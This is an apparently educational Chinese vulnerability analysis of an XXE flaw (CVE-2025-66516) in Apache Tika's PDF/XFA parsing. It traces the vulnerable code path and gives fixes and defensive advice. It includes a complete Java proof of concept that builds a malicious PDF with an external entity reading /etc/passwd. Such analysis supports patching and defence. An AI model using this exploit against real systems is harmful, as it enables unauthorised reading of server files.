Apache Tika XXE漏洞分析(CVE-2025-66516)
字数 1059 2025-12-10 12:08:30

Apache Tika XXE漏洞分析(CVE-2025-66516) 教学文档

漏洞概述

Apache Tika组件存在XML外部实体注入漏洞(CVE-2025-66516),影响范围包括:

  • tika-core:1.13-3.2.1版本
  • tika-pdf-module:2.0.0-3.2.1版本
  • tika-parsers:1.13-1.28.5版本

攻击者可通过构造包含恶意XFA(XML Forms Architecture)数据的PDF文件利用此漏洞。

漏洞成因

漏洞源于Apache Tika在解析PDF文件时,未对XFA数据中的XML外部实体进行安全限制,导致直接解析PDF中嵌入的恶意XML内容时触发XXE漏洞。

环境搭建

Maven依赖配置

<dependency>
    <groupId>org.apache.tika</groupId>
    <artifactId>tika-core</artifactId>
    <version>3.2.1</version>
</dependency>

<dependency>
    <groupId>org.apache.tika</groupId>
    <artifactId>tika-parsers-standard-package</artifactId>
    <version>3.2.1</version>
</dependency>

测试代码框架

import org.apache.tika.Tika;
import java.io.File;

public class TikaTest {
    public static void main(String[] args) throws Exception {
        Tika tika = new Tika();
        String txt = tika.parseToString(new File("test.pdf"));
        System.out.println(txt);
    }
}

漏洞分析

解析流程分析

  1. 入口点Tika.parseToString()方法开始解析流程
  2. 处理器初始化:创建WriteOutContentHandlerParseContext
  3. 解析器选择:通过CompositeParser.parse()根据文件类型选择PDF解析器
  4. PDF处理:进入PDFParser.parse()方法,最终调用PDF2XHTML.process()

关键触发点

PDF2XHTML.endDocument()方法中执行以下关键操作:

protected void endDocument(PDDocument pdf) throws IOException {
    // ... 其他处理逻辑
    this.extractXMPXFA(pdf, this.metadata, this.context);
    if (this.config.isExtractAcroFormContent()) {
        this.extractAcroForm(pdf); // 漏洞触发点
    }
}

XXE触发细节

extractAcroForm()方法中:

void extractAcroForm(PDDocument pdf) throws IOException, SAXException, TikaException {
    PDAcroForm form = catalog.getAcroForm(null);
    if (form != null) {
        PDXFAResource pdxfa = form.getXFA();
        if (pdxfa != null) {
            XFAExtractor xfaExtractor = new XFAExtractor();
            InputStream is = new BufferedInputStream(
                UnsynchronizedByteArrayInputStream.builder()
                    .setByteArray(pdxfa.getBytes()).get());
            
            xfaExtractor.extract(is, this.xhtml, this.metadata, this.context);
            // 在xfaExtractor.extract()中触发XML解析
        }
    }
}

最终在XML解析过程中,reader.next()方法未进行安全配置,导致XXE漏洞触发。

漏洞利用

恶意PDF构造

使用PDFBox库创建包含恶意XFA的PDF文件:

import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.PDPage;
import org.apache.pdfbox.pdmodel.interactive.form.PDAcroForm;
import org.apache.pdfbox.cos.COSDictionary;
import org.apache.pdfbox.cos.COSStream;
import org.apache.pdfbox.cos.COSName;

import java.io.IOException;
import java.io.OutputStream;

public class MaliciousPDF {
    public static void main(String[] args) throws IOException {
        PDDocument doc = new PDDocument();
        PDPage page = new PDPage();
        doc.addPage(page);

        PDAcroForm acroForm = new PDAcroForm(doc);
        doc.getDocumentCatalog().setAcroForm(acroForm);

        // 恶意XFA内容
        String xfaXml = "<?xml version=\"1.0\"?>\n" +
            "<!DOCTYPE test [\n" +
            "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
            "]>\n" +
            "<test>&xxe;</test>";

        // 创建XFA数据流
        COSStream xfaStream = doc.getDocument().createCOSStream();
        try (OutputStream os = xfaStream.createOutputStream()) {
            os.write(xfaXml.getBytes());
        }

        // 将XFA流添加到AcroForm
        COSDictionary acroFormDict = acroForm.getCOSObject();
        acroFormDict.setItem(COSName.XFA, xfaStream);

        doc.save("malicious.pdf");
        doc.close();
    }
}

漏洞验证

使用Tika解析恶意PDF时,将读取并返回/etc/passwd文件内容,证明XXE漏洞存在。

修复方案

  1. 升级版本:更新Apache Tika到安全版本(3.2.1之后版本)
  2. 安全配置:在XML解析器中禁用外部实体解析
  3. 输入验证:对PDF中的XFA数据进行严格验证和过滤

技术要点总结

  1. 漏洞触发路径:PDF解析 → XFA提取 → XML解析 → XXE触发
  2. 关键类:PDF2XHTMLXFAExtractor
  3. 利用条件:需要构造包含恶意XFA的PDF文件
  4. 影响范围:所有使用受影响版本Tika解析PDF的应用

防御建议

  1. 及时更新Apache Tika组件到最新安全版本
  2. 在XML解析器中实施严格的安全配置
  3. 对用户上传的PDF文件进行安全检测
  4. 实施最小权限原则,限制文件系统访问权限
Apache Tika XXE漏洞分析(CVE-2025-66516) 教学文档 漏洞概述 Apache Tika组件存在XML外部实体注入漏洞(CVE-2025-66516),影响范围包括: tika-core:1.13-3.2.1版本 tika-pdf-module:2.0.0-3.2.1版本 tika-parsers:1.13-1.28.5版本 攻击者可通过构造包含恶意XFA(XML Forms Architecture)数据的PDF文件利用此漏洞。 漏洞成因 漏洞源于Apache Tika在解析PDF文件时,未对XFA数据中的XML外部实体进行安全限制,导致直接解析PDF中嵌入的恶意XML内容时触发XXE漏洞。 环境搭建 Maven依赖配置 测试代码框架 漏洞分析 解析流程分析 入口点 : Tika.parseToString() 方法开始解析流程 处理器初始化 :创建 WriteOutContentHandler 和 ParseContext 解析器选择 :通过 CompositeParser.parse() 根据文件类型选择PDF解析器 PDF处理 :进入 PDFParser.parse() 方法,最终调用 PDF2XHTML.process() 关键触发点 在 PDF2XHTML.endDocument() 方法中执行以下关键操作: XXE触发细节 在 extractAcroForm() 方法中: 最终在XML解析过程中, reader.next() 方法未进行安全配置,导致XXE漏洞触发。 漏洞利用 恶意PDF构造 使用PDFBox库创建包含恶意XFA的PDF文件: 漏洞验证 使用Tika解析恶意PDF时,将读取并返回 /etc/passwd 文件内容,证明XXE漏洞存在。 修复方案 升级版本 :更新Apache Tika到安全版本(3.2.1之后版本) 安全配置 :在XML解析器中禁用外部实体解析 输入验证 :对PDF中的XFA数据进行严格验证和过滤 技术要点总结 漏洞触发路径:PDF解析 → XFA提取 → XML解析 → XXE触发 关键类: PDF2XHTML 、 XFAExtractor 利用条件:需要构造包含恶意XFA的PDF文件 影响范围:所有使用受影响版本Tika解析PDF的应用 防御建议 及时更新Apache Tika组件到最新安全版本 在XML解析器中实施严格的安全配置 对用户上传的PDF文件进行安全检测 实施最小权限原则,限制文件系统访问权限